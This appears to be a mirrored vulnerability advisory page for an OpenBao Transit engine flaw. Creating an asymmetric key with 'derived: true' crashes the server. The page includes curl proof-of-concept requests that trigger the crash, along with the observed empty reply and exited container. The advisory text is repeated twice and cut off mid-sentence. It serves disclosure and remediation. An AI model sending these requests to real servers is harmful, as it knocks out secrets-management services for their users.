vulnerability / NVI-00018437 / Revision 1
OpenBao: Transit secrets engine crashes on key creation with `derived: true` for asymmetric key types
GitHub lists this reviewed advisory for github.com/openbao/openbao, github.com/openbao/openbao. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.
This report has not inspected your inventory, configuration, deployed build, reachability or evidence. A catalog listing and a severity score do not establish exposure or compromise.
01 / Meaning
Why it matters
Published affected context helps an owner decide what evidence to gather. This report has not examined your application.
6.5 medium
GitHub source severity; exploitability and local consequence require separate evidence.
As of · GitHub Advisory Database
02 / Applicability
The affected context
Affected versions, configuration prerequisites and known exclusions are public. Confirm each one against the deployed service.
github.com/openbao/openbao
source listed>= 0.1.0, <= 2.5.4
On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to `transit/keys/*` can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric `type` (`rsa-*`, `ecdsa-*`, `ed25519`) with `derived: true`. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server. Mount the transit engine: `curl -sS -X POST -H "X-Vault-Token: root" \ -d '{"type":"transit"}' \ http://127.0.0.1:8200/v1/sys/mounts/transit` Trigger the crash: `curl -sS -w '\nHTTP %{http_code}\n' -X POST \ -H "X-Vault-Token: root" \ -H "Content-Type: application/json" \ -d '{"type":"rsa-2048","derived":true,"exportable":true,"deletion_allowed":false}' \ http://127.0.0.1:8200/v1/transit/keys/some-key-name` You can try with both JSON or HCL It will crash the entire cluster. Observed: HTTP 000 curl: (52) Empty reply from server $ docker ps -a --filter name=openbao STATUS: Exited (2) Root Cause (Hypothesis) Key-derivation paths in the transit engine appear to assume a sy
github.com/openbao/openbao
source listed< 0.0.0-20260617104123-db57c62602b2
On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to `transit/keys/*` can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric `type` (`rsa-*`, `ecdsa-*`, `ed25519`) with `derived: true`. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server. Mount the transit engine: `curl -sS -X POST -H "X-Vault-Token: root" \ -d '{"type":"transit"}' \ http://127.0.0.1:8200/v1/sys/mounts/transit` Trigger the crash: `curl -sS -w '\nHTTP %{http_code}\n' -X POST \ -H "X-Vault-Token: root" \ -H "Content-Type: application/json" \ -d '{"type":"rsa-2048","derived":true,"exportable":true,"deletion_allowed":false}' \ http://127.0.0.1:8200/v1/transit/keys/some-key-name` You can try with both JSON or HCL It will crash the entire cluster. Observed: HTTP 000 curl: (52) Empty reply from server $ docker ps -a --filter name=openbao STATUS: Exited (2) Root Cause (Hypothesis) Key-derivation paths in the transit engine appear to assume a sy
03 / Response
What to do next
- investigate
Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.
Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system. GitHub Advisory Database
A fixed release is not deployment evidence.
Check current vendor support and compatibility. After making a change, verify the deployed build and relevant runtime conditions. Keep the evidence, owner and time. An updated lockfile alone does not prove what is running.
04 / Limits
What this report cannot establish
- Customer inventory, deployment, reachability and exploitation have not been inspected.
05 / Provenance
Sources you can inspect
Each assertion retains its source. Mirrored records may repeat one underlying publisher; additional links are not independent corroboration.
- GHSA-8w8f-r2xv-4q4j ↗
GitHub Advisory Database · vendor advisory
Observed . GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.
Public revision history
Only published revisions appear here. Routine fetches do not create a material-change event.
- Revision 1 ·
First indexed by Null; source disclosure date is shown separately.